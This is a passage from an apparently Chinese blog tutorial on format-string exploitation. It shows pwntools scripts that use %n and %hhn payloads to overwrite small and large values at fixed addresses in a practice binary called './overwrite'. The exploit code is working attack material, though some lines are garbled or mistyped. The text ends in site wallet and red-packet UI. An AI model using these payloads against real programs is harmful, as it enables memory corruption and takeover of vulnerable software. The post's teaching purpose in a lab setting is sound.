܌��%012d%6$n
܌��-00000160648modified c.

覆盖任意内存

覆盖小数字
def fora():
    sh = process('./overwrite')
    a_addr = 0x0804A024
    payload = 'aa%8$naa' + p32(a_addr)  #先写入两个a,在第八个位置上写入2,第八个位置对应a的位置
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

在这里插入图片描述

覆盖大数字
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。写入单字节
h  对于整数类型,printf期待一个从short提升的int尺寸的整型参数。写入双字节
from pwn import
sh process('./overwrite')
b_addr=0x0804A028
payload =p32(b_addr)+p32(b_addr+1)+p32(b_addr+2)+p32(b_addr+3)
pay1oad+='%104x'+'%6$hhn'+'%222x'+'%7$hhn'+'%222x'+'%8$hhn'+'%222x'+'%9$hhn'
sh.sendline(payload)
#sh.sendline(fmtstr_payload(6,{0x804A028:0x12345678}))
#pwntools带着一个函数,很方便
print sh.recv()
sh.interactive()

p(b_addr):第六个位置参数
例:要在b的地址上写上78,4*4+104
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值